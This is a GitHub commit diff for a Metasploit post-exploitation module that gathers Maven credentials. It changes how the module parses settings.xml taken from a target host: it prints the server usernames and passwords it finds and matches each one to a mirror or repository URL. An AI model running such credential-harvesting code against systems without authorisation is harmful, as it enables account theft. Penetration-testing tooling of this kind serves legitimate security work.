Skip to content

Commit 801e3e2

Browse files
author
Erik Lenoir
committed
Replace REXML with Nokogiri and try to cross id with mirror/repository tag
1 parent be2739d commit 801e3e2

File tree

1 file changed

+28
-7
lines changed

1 file changed

+28
-7
lines changed

modules/post/multi/gather/maven_creds.rb

Lines changed: 28 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
# Current source: https://github.com/rapid7/metasploit-framework
55
##
66

7-
require 'rexml/document'
7+
require 'nokogiri'
88

99
class MetasploitModule < Msf::Post
1010
include Msf::Post::File
@@ -82,25 +82,46 @@ def download_loot(files)
8282
end
8383

8484
def parse_settings(target, data)
85-
doc = REXML::Document.new(data).root
85+
xml_doc = Nokogiri::XML(data)
86+
xml_doc.remove_namespaces!
8687

87-
doc.elements.each("servers/server") do |sub|
88-
id = sub.elements['id'].text rescue "<unknown>"
89-
username = sub.elements['username'].text rescue "<unknown>"
90-
password = sub.elements['password'].text rescue "<unknown>"
88+
xml_doc.xpath("//server").each do |server|
89+
id = server.xpath("id").text
90+
username = server.xpath("username").text
91+
password = server.xpath("password").text
9192

9293
print_status("Collected the following credentials:")
9394
print_status(" Id: %s" % id)
9495
print_status(" Username: %s" % username)
9596
print_status(" Password: %s" % password)
97+
98+
print_status("Try to find url from id...")
99+
realm = ""
100+
xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
101+
realm = mirror.xpath("url").text
102+
print_status("Found url in mirror : #{realm}")
103+
end
104+
105+
if realm.blank?
106+
xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
107+
realm = repository.xpath("url").text
108+
print_status("Found url in repository : #{realm}")
109+
end
110+
end
111+
112+
if realm.blank?
113+
print_status("No url found, id will be set as realm")
114+
realm = id
115+
end
116+
96117
print_line("")
97118

98119
credential_data = {
99120
origin_type: :import,
100121
module_fullname: self.fullname,
101122
filename: target,
102123
service_name: 'maven',
103-
realm_value: id,
124+
realm_value: realm,
104125
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
105126
private_type: :password,
106127
private_data: password,

0 commit comments

Comments
 (0)